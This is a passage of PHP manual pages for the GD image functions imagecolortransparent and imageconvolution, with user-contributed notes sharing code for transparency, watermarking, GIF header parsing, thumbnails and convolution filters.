        if ($pxloben['alpha'] == 127) {
          // if this pixel is fully transparent...
          // ...set it to the transparent color
          imagesetpixel($img_unten,$x,$y,$transCol);
        }
      }
    }
  }

  // images have to be the same size
  $bg_file = "background.jpg";
  $png_file ="kauscha.png";

  // background-image (jpg)
  $img_bg = imagecreatefromjpeg($bg_file);

  // image which is supposed to be put on the background (PNG-24)
  $img_png = imagecreatefrompng($png_file);

  // This color is the one getting transparent in the gif-file
  $transCol = imagecolorallocate($img_bg, 0, 0, 0);

  // magic
  alphaishMerge($img_bg, $img_png, $transCol);

  // reduce color depth
  imagetruecolortopalette($img_bg, FALSE, 255);

  // make it transparent
  $transCol = imagecolortransparent($img_bg, $transCol);

  header("Content-type: image/gif");
  imagegif($img_bg);
?>

i hope thats useful for anyone.
partyheld at HATESPAMgmail dot com 31-Mar-2005 09:35
Fred wrote:
<?php
$file['signatur']=      substr($result,0,3);
             $file['version']=        substr($result,3,3);
             $file['width']=          ord(substr($result,6,1))+ord(substr($result,7,1))*256;
             $file['height']=        ord(substr($result,8,1))+ord(substr($rsult,9,1))*256;
             $file['flag']=          ord(substr($result,10,1))>>7;
             $file['trans_red']=      ord(substr($result,ord(substr($result,11))*3,1));
             $file['trans_green']=    ord(substr($result,ord(substr($result,11))*3+1,1));
             $file['trans_blue']=    ord(substr($result,ord(substr($result,11))*3+2,1)) ;
?>

You should write such code like this:

<?php
   $file = array(
      "signatur"           => substr ($result, 0, 3),
      "version"            => substr ($result, 3, 3),
      "width"              => ord (substr ($result, 6, 1)) + ord (substr ($result, 7, 1)) * 256,
      "height"             => ord (substr ($result, 8, 1)) + ord(substr ($result, 9, 1)) * 256,
      "flag"               => ord (substr ($result, 10, 1)) >> 7,
      "trans_red"          => ord (substr ($result, ord (substr ($result, 11)) * 3,1)),
      "trans_green"        => ord (substr ($result, ord (substr($result, 11)) * 3 + 1, 1)),
      "trans_blue"         => ord (substr ($result, ord (substr($result, 11)) * 3 + 2, 1))
      );
?>

And there's a typo in line 4, sayin "rsult" instead of "result". I've got no time for checking your code any further, sorry.
raiserle 28-Mar-2005 08:52
it goes also more simply
i rather work with arrays
<?php
if(!function_exists('gif_info'))
{
    function gif_info($filename)
    {
             $fp=                     fopen($filename,'rb');
             $result=                 fread($fp,13);
             $file['signatur']=       substr($result,0,3);
             $file['version']=        substr($result,3,3);
             $file['width']=          ord(substr($result,6,1))+ord(substr($result,7,1))*256;
             $file['height']=         ord(substr($result,8,1))+ord(substr($rsult,9,1))*256;
             $file['flag']=           ord(substr($result,10,1))>>7;
             $file['trans_red']=      ord(substr($result,ord(substr($result,11))*3,1));
             $file['trans_green']=    ord(substr($result,ord(substr($result,11))*3+1,1));
             $file['trans_blue']=     ord(substr($result,ord(substr($result,11))*3+2,1)) ;
             fclose($fp);
             return $file;
    }
}
print_r(gif_info($_FILES['files']['temp_name']));
?>
talkback at codesponge dot com 16-Mar-2005 03:41
Only one color may be transparent in one image.  The last call to imagecolortransparent will be the color that is set to transparent.

I am processing button images that have a slightly different fill color than the background color outside the border of the button. I was hoping that I could just make both of those colors transparent and solve the problem.

Hope this tidbit of info will save you some time.
fred at webblake dot net 14-Jan-2005 08:17
Wow! I am actually surprized there are no functions to retrieve transparency information from the image. I assume I'm not missing anything since there are all kinds of notes about how to get around this limitation. At any rate, here is some code to read the gif file and retrieve the missing information. The code will speak volumes.

<?php

    class GifInfo
    {
        var $m_transparentRed;
        var $m_transparentGreen;
        var $m_transparentBlue;
        var $m_signature;
        var $m_version;
        var $m_width;
        var $m_height;
        var $m_width;
        var $m_height;
        var $m_colorFlag;
        var $m_backgroundIndex;

        function GifInfo($filename)
        {

            $fp                         = fopen($filename,"rb");
            $result                     = fread($fp,13);
            $this->m_signature     = substr($result,0,3);
            $this->m_version         = substr($result,3,3);
            $this->m_width         = ord(substr($result,6,1)) + ord(substr($result,7,1)) * 256;
            $this->m_height         = ord(substr($result,8,1)) + ord(substr($result,9,1)) * 256;
            $this->m_colorFlag    = ord(substr($result,10,1)) >> 7;
            $this->m_background     = ord(substr($result,11));

            if($this->m_colorFlag)
            {
                $tableSizeNeeded = ($this->m_background + 1) * 3;
                $result = fread($fp,$tableSizeNeeded);
                $this->m_transparentRed     = ord(substr($result,$this->m_background * 3,1));
                $this->m_transparentGreen     = ord(substr($result,$this->m_background * 3 + 1,1));
                $this->m_transparentBlue     = ord(substr($result,$this->m_background * 3 + 2,1));
            }
            fclose($fp);
        }
    }
?>

And to use this class....

<?php
   $size = getimagesize($userfile);

   $img2 = ImageCreate($w,$h);
   $gi = new GifInfo($userfile);

   if($gi->m_version == '89a' && $gi->m_colorFlag == 1)
   {
      $transparent = imagecolorallocate($img2,
      $gi->m_transparentRed,
      $gi->m_transparentGreen,
      $gi->m_transparentBlue);

      imagecolortransparent ($img2,$transparent);
   }
?>
webmaster at webnetwizard dotco dotuk 11-Jan-2005 01:24
I'm feeling particularly altruistic today, so here is the code to accompany the text I submitted about a script that 'intelligently' detects if an uploaded GIF has transparency or not, and creates a thumbnail accordingly:

    if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile))
    {
      $note = "Image was successfully uploaded.\n";
      // Now create thumbnail version of the uploaded image and save it to
      // folder "$fixPath/images/thumbs". First, we need to create a
      // resource "handle" for a copy of the uploaded image
      $img_error = false;
      list($width, $height, $type) = getimagesize($uploadfile);
      switch($type) // Allowed types: image/gif,image/jpeg,image/x-png
      {
        case 1: // GIF
          $src = @imagecreatefromgif($uploadfile);
          if (!$src)
            $img_error = true;
          break;
        case 2: // JPEG
         .
         .
         .
      case 3: // PNG
        .
        .
        .
       default:
          $img_error = true;
      }
      // resource handle for source image now in $src
      // Now calculate scaling factor and put in $sf
      if(!$img_error)
      {
        if($width >= $height && $width > 100)
          $sf = $width / 100;
        elseif($height > 100)
          $sf = $height / 100;
        else
          $sf = 1;
        $newwidth = intval($width / $sf);
        $newheight = intval($height / $sf);

        switch($type) // Allowed types: image/gif,image/jpeg,image/x-png
        {
          case 1: // GIF
            $tpcolor = imagecolorat($src, 0, 0);
            // in the real world, you'd better test all four corners, not just one!
            $dest = imagecreate($newwidth, $newheight);
            // $dest automatically has a black fill...
            imagepalettecopy($dest, $src);
            imagecopyresized($dest, $src, 0, 0, 0, 0, $newwidth, $newheight,
              $width, $height);
            $pixel_over_black = imagecolorat($dest, 0, 0);
            // ...but now make the fill white...
            $bg = imagecolorallocate($dest, 255, 255, 255);
            imagefilledrectangle($dest, 0, 0, $newwidth, $newheight,
              $bg);
            imagecopyresized($dest, $src, 0, 0, 0, 0, $newwidth, $newheight,
              $width, $height);
            $pixel_over_white = imagecolorat($dest, 0, 0);
            // ...to test if transparency causes the fill color to show through:
            if($pixel_over_black != $pixel_over_white)
            {
              // Background IS transparent
              imagefilledrectangle($dest, 0, 0, $newwidth, $newheight,
                $tpcolor);
              imagecopyresized($dest, $src, 0, 0, 0, 0, $newwidth,
                $newheight, $width, $height);
              imagecolortransparent($dest, $tpcolor);
              imagegif($dest, "$fixPath/images/thumbs/$userfile");
            }
            else // Background (most probably) NOT transparent
              imagegif($dest, "$fixPath/images/thumbs/$userfile");
            break;
          case 2: // JPEG
          .
          .
          .
          case 3: // PNG
          .
          .
          .
            break;
        }
        imagedestroy($src);
        imagedestroy($dest);
      }
      else
        $note = "Error: Uploaded image but could not create thumbnail";
      header("location: $fixPath/index.php?next=$next&nb=$nb&userfile=$userfile");
    }
    else
      $note = "Could not find anything to upload\n";
webmaster at webnetwizard dotco dotuk 11-Jan-2005 06:09
After much devious mindbending, I have found a way to test any GIF for presence of background transparency. This ability is essential for my application which uploads any of GIF, JPEG or PNG and simultaneously creates a thumbnail of identical image type and identical filename (full size and thumbnail versions being stored in different folders).
After uploading and moving the image in the usual way, a switch($image_type) statement ensures that the optimum code is used to generate the thumbnail; regardless of image type.
The problem with the GIF type is that those with transparent backgrounds need to be treated differently to those without. When I don't detect GIF transparency, I either end up with all transparent GIF's having black backgrounds, or all GIF's get converted to transparent background - even if they weren't transparent in the original.
But how to detect transparency in the original? It finally occurred to me that I could test for transparency programmatically by overlaying a copy of the original image over an all-black image, record the color value at particular pixel locations and then repeat the process by overlaying a copy of the original image over an all-white image, recording the color values at identical pixel locations and comparing these with the first set of values.
If the two sets of values correlate exactly, and if sensible sampling points are used, the image can be treated as non-transparent. If the two sets of values show differences, the image should be treated as having a transparent background.
emilus at galeria-m dot art dot pl 30-Sep-2004 02:02
To resize or copy image (gif [with gd>=2.0.28] or png) with transparency.
-Take current transparency color
-create a new image with palette like old one and fill new image with transparent color
-set transparent color
-copy resized image

$colorTransparent = imagecolortransparent($im);
$im2 = imagecreate($new_w,$new_h);
imagepalettecopy($im2,$im);
imagefill($im2,0,0,$colorTransparent);
imagecolortransparent($im2, $colorTransparent);
imagecopyresized($im2,$im,0,0,0,0,$new_w,$new_h,$imsx,$imsy);
php_comment et 5mm de 27-Sep-2004 10:02
In fact this function can be used for two purposes:

A.) to work with transparency while dealing with images in php (see watermark example)

B.) to create a partially transparent picture

For A.) one can work with truecolor images with some regulations, but B.) can only be used with palette-based images (= indexed = created with imagecreate not imagecreatetruecolor) and formats that support transparency (png, gif).

For instance if you want to cut out a color out of a give picture that is in truecolor, use the following method to first convert it to palette-based image, assign the transparency and give it to the browser as png:

<?
$img = imagecreatefromjpeg('test.jpg');
imagetruecolortopalette($img, false, 256); // convert

$white = imagecolorresolve($img, 255, 255, 255); // resolve given palette entry
imagecolortransparent($img, $white);

header("Content-type: image/png");
imagepng($img);
?>
shelley_hina at yahoo dot com 04-Mar-2004 11:35
It took me a while to figure this out. I added visual web thumbnail preview graphic from http://www.thumbshots.org and http://www.thumbshots.com to my customer sites to visualize web pages. Then I needed to create a small blank transparent PNG image if the thumbshot is not available. You can do this easily using imagecolortransparent function. It came out really nice and fast. It's very cool stuff and highly recommended library for all your web site needs!

// Use GD library to create transparent color PNG image of the pixel size
$ImgGD = imagecreate(120, 90);
$ImgWhite = imagecolorallocate($ImgGD, 255, 255, 255);
imagefill($ImgGD, 0, 0, $ImgWhite);
imagecolortransparent($ImgGD, $ImgWhite);

// Capture STDOUT to buffer
ob_start();
imagepng($ImgGD);
$Image = ob_get_contents();
ob_end_clean();

// Remember to free your memory
imagedestroy($ImgGD);

// Print image to web browser.
print $Image
php at kybert dot com 14-Nov-2003 05:30
i had problems with the example by sandhawk at spies dot com because my png overlay, and the jpeg canvas were using different color depths, so, this function corrects this:

[code]
function WatermarkImage($CanvasImage, $WatermarkImage /* MUST BE PHG */, $Opacity=10, $Quality=75)
{
    // create true color canvas image:
    $canvas_src = imagecreatefromjpeg($CanvasImage);
    $canvas_w = ImageSX($canvas_src);
    $canvas_h = ImageSY($canvas_src);
    $canvas_img = imagecreatetruecolor($canvas_w, $canvas_h);
    imagecopy($canvas_img, $canvas_src, 0,0,0,0, $canvas_w, $canvas_h);
    imagedestroy($canvas_src);    // no longer needed

    // create true color overlay image:
    $overlay_src = imagecreatefrompng($WatermarkImage);
    $overlay_w = ImageSX($overlay_src);
    $overlay_h = ImageSY($overlay_src);
    $overlay_img = imagecreatetruecolor($overlay_w, $overlay_h);
    imagecopy($overlay_img, $overlay_src, 0,0,0,0, $overlay_w, $overlay_h);
    imagedestroy($overlay_src);    // no longer needed

    // setup transparent color (pick one):
    $black   = imagecolorallocate($overlay_img, 0x00, 0x00, 0x00);
    $white   = imagecolorallocate($overlay_img, 0xFF, 0xFF, 0xFF);
    $magenta = imagecolorallocate($overlay_img, 0xFF, 0x00, 0xFF);
    // and use it here:
    imagecolortransparent($overlay_img, $white);

    // copy and merge the overlay image and the canvas image:
    imagecopymerge($canvas_img, $overlay_img, 0,0,0,0, $overlay_w, $overlay_h, $Opacity);

    // output:
    header("Content-type: image/jpeg");
    imagejpeg($canvas_img, '', $Quality);

    imagedestroy($overlay_img);
    imagedestroy($canvas_img);
}

// call function with opcity set to 50% and 95% quality
WatermarkImage("canvas.jpg", "overlay.png", 50, 95);

[/code]
creator79>>web>>de 08-Oct-2003 06:44
Hi!
I'm using GDLib 1.6.3 so far I know.
You can have transparency on any defined color on any image type when using the imagecolorclosest($im, $R, $G, $B) function instead of imagecolorallocate() or imagecolorexact().
calar at gamigo dot de 01-Aug-2003 06:53
ok some works...

i had a test-sytem with GDLib, phpinfo shows me this version:
"GD Version  2.0 or higher" so far no porblems with: imageColorTransparent

Then we had to copy ouer codes to another sever on this server phpinfo shots me version:
"GD Version  bundled (2.0.12 compatible)"

The jpg was wrong and nothing was transparent.
The point is, you have to use: imagecopymerge

Don't if its true on any system just work on
SUSE 8.2
PHP 4.3.2
cladiniz at zipmail dot com dot br 17-Mar-2003 06:19
If you have a transparent PNG , in PHP 4.3.1 , GD 2.0 , you don't need to set the transparency anymore , it's automatic ...
sandhawk at spies dot com 05-Mar-2003 11:04
here's a little snippet of code that i got for getting images to overlay with transparency(based off text overlay above).

$olay_img = imagecreatefromPNG("overlay.png); //NOTE I recomment you use png for this, artifacts from jpeg images can look bad when you overlay them
$src_img = ImageCreateFromJPEG("image.jpg");
$src_w = ImageSX($src_img);
$src_h = ImageSY($src_img);

$can_img = imagecreatetruecolor($src_w, $src_h);

$black = ImageColorAllocate ($olay_img, 0, 0, 0);

ImageColorTransparent($olay_img, $black);

imagecopy($can_img, $src_img, 0,0,0,0, $src_w, $src_h);
imagecopymerge($can_img, $olay_img, 0,0,0,0, ImageSX($olay_img), ImageSY($olay_img),100); //Imagecopy won't work, you must used imagecopymerge

ImageJPEG($can_img,'',100);

imagedestroy($src_img);
imagedestroy($olay_img);
imagedestroy($can_img);
Jonatan 30-Dec-2002 10:35
I have found that ImageColorTransparent() works on true color images if and only if the transparent color is black.
(PHP 4.2.3/GD 2.0)
marshall.AT.byterage.net 04-May-2002 07:50
In response to the note above...

ImageColorTransparent() does work on TrueColor images.  I have it working myself but I do remember having to add an extra step somewhere.  Anyways, here is how I overlay text on a jpeg.  Don't forget, you need GD 2.x for true color to work.  This example requires TTF support also.

//
// get src image and dimensions
$src_img = ImageCreateFromJPEG("foo.jpg");
$src_w = ImageSX($src_img);
$src_h = ImageSY($src_img);
//
// create empty true color canvas, def bg is black
$txt_img = ImageCreateTrueColor($src_w,$src_h);
//
// define colors
$white = ImageColorAllocate ($txt_img, 255, 255, 255);
$black = ImageColorAllocate ($txt_img, 0, 0, 0);
//
// add your white text
ImageTTFText ($txt_img, 80, 25, 65, 350, $white, "impact.ttf", "Kung Fu");
//
// make black bg transparent
ImageColorTransparent($txt_img, $black);
//
// merge text image onto src image
ImageCopyMerge($src_img,$txt_img,0,0,0,0,$src_w,$src_h,30); // 30% opacity

'Now' you can do resizing or whatever and output it.  You need to create yet another blank image to resample.  (Actually you can resize the image before the text overlay step with some small mods, but its REALLY messy if you want the output size to be dynamic)

//
// create empty true color canvas for resizing.
$dst_img = ImageCreateTrueColor(100,100);
//
// resize
ImageCopyResampled($dst_img,$src_img,0,0,0,0,100,100,$src_w,$src_h);
//
// output to browser.
ImageJPEG($dst_img,'',70);   // quality 70

If someone could tell me a shorter way to do this, that would be sweet.  The way it is now, it just feels like there is one too many steps to get this done.  But I am glad it works at all!
06-Dec-2001 07:18
when a color is defined as transparent, anytime that color is used in another function (before or after transparency definition) will be transparent

ex:
$red = ImageColorAllocate ($im, 233, 14, 91);
$blue = ImageColorAllocate ($im, 0x20, 0x60, 0xaa);
imagefilledarc ($im, 100, 100, 80, 80, 0, 60, $blue, IMG_ARC_PIE);//arc is transparent even though is not defined yet
$trans=imagecolortransparent($im,$blue);//affects all occurances of blue, before and after this line

ALSO:
ImageString ($im, 10, 5, 5,  "Transparent Text String", $blue);
---is equivalent to----
ImageString ($im, 10, 5, 5,  "Transparent Text String", $trans);
imagecolorstotal
imageconvolution
GD and Image Functions


Apply a 3x3 convolution matrix, using coefficient and offset

imagecolortransparent
imagecopy
GD and Image Functions
PHP Manual

imageconvolution

(PHP 5 >= 5.1.0)

imageconvolution — Apply a 3x3 convolution matrix, using coefficient and offset

Description

bool imageconvolution ( resource $image , array $matrix , float $div , float $offset )

Applies a convolution matrix on the image, using the given coefficient and offset.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

matrix

A 3x3 matrix: an array of three arrays of three floats.

div

The divisor of the result of the convolution, used for normalization.

offset

Color offset.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Embossing the PHP.net logo

<?php
$image = imagecreatefromgif('http://www.php.net/images/php.gif');

$emboss = array(array(2, 0, 0), array(0, -1, 0), array(0, 0, -1));
imageconvolution($image, $emboss, 1, 127);

header('Content-Type: image/png');
imagepng($image, null, 9);
?>

The above example will output:

Output of example : Embossing the PHP.net logo

Example #2 Gaussian blur

<?php
$image = imagecreatetruecolor(180,40);

// Writes the text and apply a gaussian blur on the image
imagestring($image, 5, 10, 8, 'Gaussian Blur Text', 0x00ff00);
$gaussian = array(array(1.0, 2.0, 1.0), array(2.0, 4.0, 2.0), array(1.0, 2.0, 1.0));
imageconvolution($image, $gaussian, 16, 0);

// Rewrites the text for comparison
imagestring($image, 5, 10, 18, 'Gaussian Blur Text', 0x00ff00);

header('Content-Type: image/png');
imagepng($image, null, 9);
?>

The above example will output:

Output of example : Gaussian blur

Notes

Note: This function is only available if PHP is compiled with the bundled version of the GD library.

See Also

  • imagefilter() - Applies a filter to an image

User Contributed Notes

magilvia 17-May-2011 01:36
Here's a good sharpen setting for thumbnail creation:

<?php
            $sharpenMatrix = array
            (
                array(-1.2, -1, -1.2),
                array(-1, 20, -1),
                array(-1.2, -1, -1.2)
            );

            // calculate the sharpen divisor
            $divisor = array_sum(array_map('array_sum', $sharpenMatrix));

            $offset = 0;

            // apply the matrix
            imageconvolution($img, $sharpenMatrix, $divisor, $offset);
?>
phunction.sf.net 15-May-2010 09:20
You don't need any custom function to calculate the $divisor of the $matrix, using array_map() and array_sum() does the trick:

<?php

$matrix = array
(
    array(-1, -1, -1),
    array(-1, 16, -1),
    array(-1, -1, -1),
);

$divisor = array_sum(array_map('array_sum', $matrix)); // 8

?>
fabien dot snauwaert at gmail dot com 07-Mar-2010 10:44
Normalization is necessary to keep the image balanced (else any filter may quickly turn the image almost completely black or white).

Here is a short, easy-to-use, class to handle normalization automatically and make for easier input of the 3x3 matrix:

The code respects the "array of three arrays" syntax for use with the imageconvolution() function and automatically calculates the necesarry divisor for normalization.

<?php

class ConvolutionFilter {
    public $matrix;
    public $div;

    public function computeDiv() {
        $this->div = array_sum ($this->matrix[0]) + array_sum ($this->matrix[1]) + array_sum ($this->matrix[2]);
    }

    function __construct() {
        $matrix = func_get_args();
        $this->matrix = array(    array($matrix[0], $matrix[1], $matrix[2]),
                                array($matrix[3], $matrix[4], $matrix[5]),
                                array($matrix[6], $matrix[7], $matrix[8])
                                );
        $this->computeDiv();
    }
}

?>

Example usage:

<?php

$gaussianFilter =    new ConvolutionFilter(    1.0,    2.0,    1.0,
                                             2.0,    3.0,    2.0,
                                             1.0,    2.0,    1.0        );
imageconvolution($image, $gaussianFilter->matrix, $gaussianFilter->div, 0);

?>

Some common filters:

<?php

$identityFilter =    new ConvolutionFilter(    0.0,    0.0,    0.0,
                                             0.0,    1.0,    0.0,
                                             0.0,    0.0,    0.0        );
$sharpenFilter =    new ConvolutionFilter(    0.0,    -1.0,    0.0,
                                             -1.0,    5.0,    -1.0,
                                             0.0,    -1.0,    0.0        );
$edgeFilter =        new ConvolutionFilter(    0.0,    1.0,    0.0,
                                             1.0,    -4.0,    1.0,
                                             0.0,    1.0,    0.0        );
$findEdgesFilter =    new ConvolutionFilter(    -1.0,    -1.0,    -1.0,
                                             -2.0,    8.0,    -1.0,
                                             -1.0,    -1.0,    -1.0        );

?>

Remember you can use imagefilter() for such basic needs but the above class will make it easier for you when you want to create your own filters.
php at pulseforce dot com 02-Jan-2009 03:27
I forgot mention the easiest format of all:

<?php

$aFilter = convFilter("
    2 0 0 0 -1 0 0 0 -1
");

?>

There's nothing nicer or quicker than just typing out the values and hitting space between each! ;-) Enjoy!
php at pulseforce dot com 02-Jan-2009 03:04
Here is something that you will find extremely handy while beta testing your convolution filters.

It's very time consuming to have something like:
$aFilter = array(
  array(-1, 2, -1),
  array(2, 4, 2),
  array(-1, 2, -1)
);

Because every time you're making a change you have to jump around a lot, and are forced to be careful with your edits to avoid destroying the array format (such as accidentally deleting a parenthesis or comma). That's not fun at all and very counter productive. Wouldn't it be good if you could just type the matrix out in text form and separate the entries with either spaces or tabs or newlines? Ie any of the following:

-1 2 -1
2 4 2
-1 2 -1

or

-1
2
-1
2
4
2
-1
2
-1

Well, now you can! I'd like to emphasis that you should only use this function for development purposes, while trying out different convolution matrices! And without further ado:

<?php

function convFilter($saFilter)
{
    $aParts = preg_split('/\s+/s', $saFilter, -1, PREG_SPLIT_NO_EMPTY);
    if (count($aParts) != 9) { return false; }
    $aMatrix = array_chunk($aParts, 3);
    return $aMatrix;
}

// Usage:

$aFilter = convFilter("
    1.0    2.0    1.0
    2.0    4.0    2.0
    1.0    2.0    1.0
");
imageconvolution($rImg, $aFilter, 16, 0);

?>

Enjoy! You can now type your matrices out in any way you want (even floats), as long as any form of whitespace separates the various numbers. Once you are done testing, just type the matrix out as a normal array to save on processing time.

And please post your convolution filters if you come up with some useful ones so they can be implemented by others. ;-)
Jase 13-Sep-2007 03:53
The comment below is an extremely good workaround

however, php did throw lots of warnings at me when i had error reporting set to E_ALL

this can be avoided with one line of code and no impact (as i can see) to the rest of the function

<?php
//include this file whenever you have to use imageconvolution...
//you can use in your project, but keep the comment below :)
//great for any image manipulation library
//Made by Chao Xu(Mgccl) 2/28/07
//www.webdevlogs.com
//V 1.0
if(!function_exists('imageconvolution')){
function imageconvolution($src, $filter, $filter_div, $offset){
    if ($src==NULL) {
        return 0;
    }

    $sx = imagesx($src);
    $sy = imagesy($src);
    $srcback = ImageCreateTrueColor ($sx, $sy);
    ImageCopy($srcback, $src,0,0,0,0,$sx,$sy);

    if($srcback==NULL){
        return 0;
    }

    #FIX HERE
    #$pxl array was the problem so simply set it with very low values
    $pxl = array(1,1);
    #this little fix worked for me as the undefined array threw out errors

    for ($y=0; $y<$sy; ++$y){
        for($x=0; $x<$sx; ++$x){
            $new_r = $new_g = $new_b = 0;
            $alpha = imagecolorat($srcback, $pxl[0], $pxl[1]);
            $new_a = $alpha >> 24;

            for ($j=0; $j<3; ++$j) {
                $yv = min(max($y - 1 + $j, 0), $sy - 1);
                for ($i=0; $i<3; ++$i) {
                        $pxl = array(min(max($x - 1 + $i, 0), $sx - 1), $yv);
                    $rgb = imagecolorat($srcback, $pxl[0], $pxl[1]);
                    $new_r += (($rgb >> 16) & 0xFF) * $filter[$j][$i];
                    $new_g += (($rgb >> 8) & 0xFF) * $filter[$j][$i];
                    $new_b += ($rgb & 0xFF) * $filter[$j][$i];
                }
            }

            $new_r = ($new_r/$filter_div)+$offset;
            $new_g = ($new_g/$filter_div)+$offset;
            $new_b = ($new_b/$filter_div)+$offset;

            $new_r = ($new_r > 255)? 255 : (($new_r < 0)? 0:$new_r);
            $new_g = ($new_g > 255)? 255 : (($new_g < 0)? 0:$new_g);
            $new_b = ($new_b > 255)? 255 : (($new_b < 0)? 0:$new_b);

            $new_pxl = ImageColorAllocateAlpha($src, (int)$new_r, (int)$new_g, (int)$new_b, $new_a);
            if ($new_pxl == -1) {
                $new_pxl = ImageColorClosestAlpha($src, (int)$new_r, (int)$new_g, (int)$new_b, $new_a);
            }
            if (($y >= 0) && ($y < $sy)) {
                imagesetpixel($src, $x, $y, $new_pxl);
            }
        }
    }
    imagedestroy($srcback);
    return 1;
}
}
?>
mgcclx at gmail dot com 28-Feb-2007 07:55
imageconvolution() does not appear in PHP with non-bundled GD libraries. It is a rare situation, but it still happens. That's why I wrote a replication of imageconvolution() in PHP. Compare to the post below, this one makes the use of offset and 30% faster.
Because it's written in PHP, it is 50 times slower than the bundled version.
Actually, this is a replication of gdimageconvolutaion() of GD library, it does not support data validating feature imageconvolution() have. But I guess people who uses this function knows their stuff.

THE SCRIPT:
<?php
//include this file whenever you have to use imageconvolution...
//you can use in your project, but keep the comment below :)
//great for any image manipulation library
//Made by Chao Xu(Mgccl) 2/28/07
//www.webdevlogs.com
//V 1.0
if(!function_exists('imageconvolution')){
function imageconvolution($src, $filter, $filter_div, $offset){
    if ($src==NULL) {
        return 0;
    }

    $sx = imagesx($src);
    $sy = imagesy($src);
    $srcback = ImageCreateTrueColor ($sx, $sy);
    ImageCopy($srcback, $src,0,0,0,0,$sx,$sy);

    if($srcback==NULL){
        return 0;
    }

    for ($y=0; $y<$sy; ++$y){
        for($x=0; $x<$sx; ++$x){
            $new_r = $new_g = $new_b = 0;
            $alpha = imagecolorat($srcback, $pxl[0], $pxl[1]);
            $new_a = $alpha >> 24;

            for ($j=0; $j<3; ++$j) {
                $yv = min(max($y - 1 + $j, 0), $sy - 1);
                for ($i=0; $i<3; ++$i) {
                        $pxl = array(min(max($x - 1 + $i, 0), $sx - 1), $yv);
                    $rgb = imagecolorat($srcback, $pxl[0], $pxl[1]);
                    $new_r += (($rgb >> 16) & 0xFF) * $filter[$j][$i];
                    $new_g += (($rgb >> 8) & 0xFF) * $filter[$j][$i];
                    $new_b += ($rgb & 0xFF) * $filter[$j][$i];
                }
            }

            $new_r = ($new_r/$filter_div)+$offset;
            $new_g = ($new_g/$filter_div)+$offset;
            $new_b = ($new_b/$filter_div)+$offset;

            $new_r = ($new_r > 255)? 255 : (($new_r < 0)? 0:$new_r);
            $new_g = ($new_g > 255)? 255 : (($new_g < 0)? 0:$new_g);
            $new_b = ($new_b > 255)? 255 : (($new_b < 0)? 0:$new_b);

            $new_pxl = ImageColorAllocateAlpha($src, (int)$new_r, (int)$new_g, (int)$new_b, $new_a);
            if ($new_pxl == -1) {
                $new_pxl = ImageColorClosestAlpha($src, (int)$new_r, (int)$new_g, (int)$new_b, $new_a);
            }
            if (($y >= 0) && ($y < $sy)) {
                imagesetpixel($src, $x, $y, $new_pxl);
            }
        }
    }
    imagedestroy($srcback);
    return 1;
}
}
?>
interghost at crovortex dot com 31-Mar-2006 11:26
an implementation of this function for PHP versions <5.1
<?php
if(!function_exists("imageconvolution"))
{
 function imageconvolution(&$img,$mat,$div,$off)
 {
   if(!imageistruecolor($img) || !is_array($mat) || count($mat)!=3 || count($mat[0])!=3 || count($mat[1])!=3 || count($mat[2])!=3) return FALSE;
   unset($bojainfo);
   for($nx=0;$nx<imagesx($img)-1;$nx++)
   {
     for($ny=0;$ny<imagesy($img)-1;$ny++)
     {
        $rgb=imagecolorat($img,$nx,$ny);
        $bojainfo[$nx][$ny][r]=($rgb>>16)&0xFF;
        $bojainfo[$nx][$ny][g]=($rgb>>8)&0xFF;
        $bojainfo[$nx][$ny][b]=$rgb&0xFF;
     }
   }
   for($nx=1;$nx<imagesx($img)-1;$nx++)
   {
     for($ny=1;$ny<imagesy($img)-1;$ny++)
     {
        $nr=$mat[0][0]*$bojainfo[$nx-1][$ny-1][r] + $mat[0][1]*$bojainfo[$nx][$ny-1][r] + $mat[0][2]*$bojainfo[$nx+1][$ny-1][r] + $mat[1][0]*$bojainfo[$nx-1][$ny][r] + $mat[1][1]*$bojainfo[$nx][$ny][r] + $mat[1][2]*$bojainfo[$nx+1][$ny][r] + $mat[2][0]*$bojainfo[$nx-1][$ny+1][r] + $mat[2][1]*$bojainfo[$nx][$ny+1][r] + $mat[2][2]*$bojainfo[$nx+1][$ny+1][r];
        $nr=intval(round($nr/$div));
        if($nr<0) $nr=0;
        elseif($nr>255) $nr=255;
        $ng=$mat[0][0]*$bojainfo[$nx-1][$ny-1][g]  + $mat[0][1]*$bojainfo[$nx][$ny-1][g] + $mat[0][2]*$bojainfo[$nx+1][$ny-1][g] + $mat[1][0]*$bojainfo[$nx-1][$ny][g] + $mat[1][1]*$bojainfo[$nx][$ny][g] + $mat[1][2]*$bojainfo[$nx+1][$ny][g] + $mat[2][0]*$bojainfo[$nx-1][$ny+1][g] + $mat[2][1]*$bojainfo[$nx][$ny+1][g] + $mat[2][2]*$bojainfo[$nx+1][$ny+1][g];
        $ng=intval(round($ng/$div));
        if($ng<0) $ng=0;
        elseif($ng>255) $ng=255;
        $nb=$mat[0][0]*$bojainfo[$nx-1][$ny-1][b] + $mat[0][1]*$bojainfo[$nx][$ny-1][b] + $mat[0][2]*$bojainfo[$nx+1][$ny-1][b] + $mat[1][0]*$bojainfo[$nx-1][$ny][b] + $mat[1][1]*$bojainfo[$nx][$ny][b] + $mat[1][2]*$bojainfo[$nx+1][$ny][b] + $mat[2][0]*$bojainfo[$nx-1][$ny+1][b] + $mat[2][1]*$bojainfo[$nx][$ny+1][b] + $mat[2][2]*$bojainfo[$nx+1][$ny+1][b];
        $nb=intval(round($nb/$div));
        if($nb<0) $nb=0;
        elseif($nb>255) $nb=255;
        $nrgb=($nr<<16)+($ng<<8)+$nb;
        if(!imagesetpixel($img,$nx,$ny,$nrgb)) return FALSE;
     }
   }
   return TRUE;
  }
}
?>

it's a bit slowish so I wouldn't recommend big images, also offset is not implemented (don't know what it's suppose to do)
mlconnor at yahoo dot com 21-Mar-2006 09:00
I've seen many people come up with ways to do a drop shadow behind a rectangle such as a picture.  I haven't found one yet that was fast, PHP 4 complaint, and nice looking.  Here is one I came up with last night.  It takes an image, fills it with the background, and creates a blurred drop shadow at the specified coords using the colors and the distance offset specified.  It looks great!!!

  function blurRect(&$image, $distance, $rectX1, $rectY1, $rectX2, $rectY2, $shadowR, $shadowG, $shadowB, $backR, $backG, $backB) {

    $potentialOverlap = ($distance * 2) * ($distance * 2);

    $backgroundColor = imagecolorallocate($image, $backR, $backG, $backB);
    $shadowColor = imagecolorallocate($image, $shadowR, $shadowG, $shadowB);

